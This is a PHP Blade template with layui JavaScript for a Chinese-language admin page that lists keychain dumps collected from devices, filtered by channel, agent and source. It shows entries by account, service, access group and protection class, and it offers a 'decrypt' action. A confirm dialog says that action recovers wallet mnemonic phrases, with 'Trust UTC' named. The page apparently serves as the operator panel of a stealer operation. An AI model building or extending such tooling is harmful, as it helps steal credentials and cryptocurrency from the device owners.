207 lines
7.9 KiB
PHP
207 lines
7.9 KiB
PHP
@extends('admin.content')
|
|
|
|
@section('title', '钥匙串')
|
|
|
|
@section('content')
|
|
@php $portal = $portal ?? 'admin'; @endphp
|
|
<style>
|
|
.ks-wrap { padding: 12px 16px 16px; }
|
|
.ks-meta { color: #666; font-size: 13px; margin-bottom: 10px; }
|
|
.ks-empty { color: #999; padding: 24px 0; text-align: center; }
|
|
.ks-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
|
.ks-table th,
|
|
.ks-table td {
|
|
border: 1px solid #e6e6e6;
|
|
padding: 8px 10px;
|
|
text-align: left;
|
|
vertical-align: top;
|
|
}
|
|
.ks-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
|
.ks-table .mono {
|
|
word-break: break-all;
|
|
font-family: Menlo, Monaco, Consolas, monospace;
|
|
}
|
|
</style>
|
|
<div class="layui-card">
|
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
|
<div class="layui-form-item">
|
|
@include('admin.partials.filter_channel_select')
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">设备 ID</label>
|
|
<div class="layui-input-block">
|
|
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
|
</div>
|
|
</div>
|
|
@include('admin.partials.filter_agent_select')
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">来源</label>
|
|
<div class="layui-input-block">
|
|
<select name="source">
|
|
<option value="">全部</option>
|
|
<option value="未知">未知</option>
|
|
@foreach ($sources as $s)
|
|
<option value="{{ $s }}">{{ $s }}</option>
|
|
@endforeach
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<label class="layui-form-label">已解密</label>
|
|
<div class="layui-input-block">
|
|
<select name="decrypted">
|
|
<option value="">全部</option>
|
|
<option value="1">是</option>
|
|
<option value="0">否</option>
|
|
</select>
|
|
</div>
|
|
</div>
|
|
<div class="layui-inline">
|
|
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
|
</div>
|
|
</div>
|
|
</form>
|
|
<div class="layui-card-body">
|
|
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
|
<script type="text/html" id="LAY-ks-ops">
|
|
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
|
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
|
</script>
|
|
</div>
|
|
</div>
|
|
@endsection
|
|
|
|
@push('scripts')
|
|
<script>
|
|
layui.use(['table', 'form', 'layer'], function () {
|
|
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
|
var token = @json(csrf_token());
|
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
|
|
|
function esc(v) {
|
|
return String(v == null ? '' : v)
|
|
.replace(/&/g, '&')
|
|
.replace(/</g, '<')
|
|
.replace(/>/g, '>')
|
|
.replace(/"/g, '"');
|
|
}
|
|
function dash(v) { return v ? esc(v) : '—'; }
|
|
|
|
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
|
|
layer.load(1);
|
|
$.getJSON(url, function (res) {
|
|
layer.closeAll('loading');
|
|
if (!res || res.code !== 0) {
|
|
return layer.msg((res && res.msg) || '加载失败');
|
|
}
|
|
var d = res.data || {};
|
|
var items = d.items || [];
|
|
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
|
' · 来源 ' + esc(d.source || '未知') +
|
|
' · ' + esc(d.kind || '') +
|
|
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
|
' · ' + items.length + ' 条</div>';
|
|
if (!items.length) {
|
|
html += '<div class="ks-empty">暂无条目</div></div>';
|
|
} else {
|
|
html += '<table class="ks-table"><thead><tr>' +
|
|
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
|
'</tr></thead><tbody>';
|
|
items.forEach(function (it) {
|
|
html += '<tr>' +
|
|
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
|
|
'<td class="mono">' + dash(it.service) + '</td>' +
|
|
'<td class="mono">' + dash(it.access_group) + '</td>' +
|
|
'<td>' + dash(it.protection_class) + '</td>' +
|
|
'<td>' + esc(it.data_len) + '</td>' +
|
|
'<td class="mono">' + dash(it.data_preview) + '</td>' +
|
|
'</tr>';
|
|
});
|
|
html += '</tbody></table></div>';
|
|
}
|
|
layer.open({
|
|
type: 1,
|
|
title: title || ('钥匙串 #' + (d.id || '')),
|
|
area: ['920px', '70%'],
|
|
content: html
|
|
});
|
|
}).fail(function () {
|
|
layer.closeAll('loading');
|
|
layer.msg('加载失败');
|
|
});
|
|
};
|
|
|
|
table.render({
|
|
elem: '#LAY-ks-list',
|
|
id: 'LAY-ks-list',
|
|
url: @json(route($portal.'.keystores.data')),
|
|
cols: [[
|
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
|
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
|
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
|
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
|
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
|
return Number(d.decrypted) === 1 ? '是' : '否';
|
|
} },
|
|
{ field: 'kind', title: '类型', width: 110 },
|
|
{ field: 'item_count', title: '条目', width: 70 },
|
|
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
|
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
|
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
|
]],
|
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
|
text: { none: '暂无钥匙串' },
|
|
request: { pageName: 'page', limitName: 'limit' },
|
|
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
|
});
|
|
form.on('submit(LAY-ks-search)', function (data) {
|
|
table.reload('LAY-ks-list', { where: data.field, page: { curr: 1 } });
|
|
return false;
|
|
});
|
|
table.on('tool(LAY-ks-list)', function (obj) {
|
|
if (obj.event === 'items') {
|
|
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
|
return;
|
|
}
|
|
if (obj.event === 'decrypt') {
|
|
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
|
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
|
layer.close(idx);
|
|
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
|
$.ajax({
|
|
url: obj.data.decrypt_url,
|
|
method: 'POST',
|
|
data: { _token: token },
|
|
timeout: 180000,
|
|
success: function (res) {
|
|
layer.msg((res && res.msg) || '已处理');
|
|
if (res && res.code === 0) table.reload('LAY-ks-list');
|
|
},
|
|
error: function (xhr) {
|
|
var msg = '解密失败';
|
|
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
|
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
|
layer.msg(msg);
|
|
},
|
|
complete: function () {
|
|
layer.close(loadIdx);
|
|
}
|
|
});
|
|
});
|
|
return;
|
|
}
|
|
if (obj.event !== 'detail') return;
|
|
var url = obj.data.detail_url;
|
|
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
|
try {
|
|
if (parent && parent.layui && parent.layui.index) {
|
|
parent.layui.index.openTabsPage(url, title);
|
|
return;
|
|
}
|
|
} catch (e) {}
|
|
location.href = url;
|
|
});
|
|
});
|
|
</script>
|
|
@endpush
|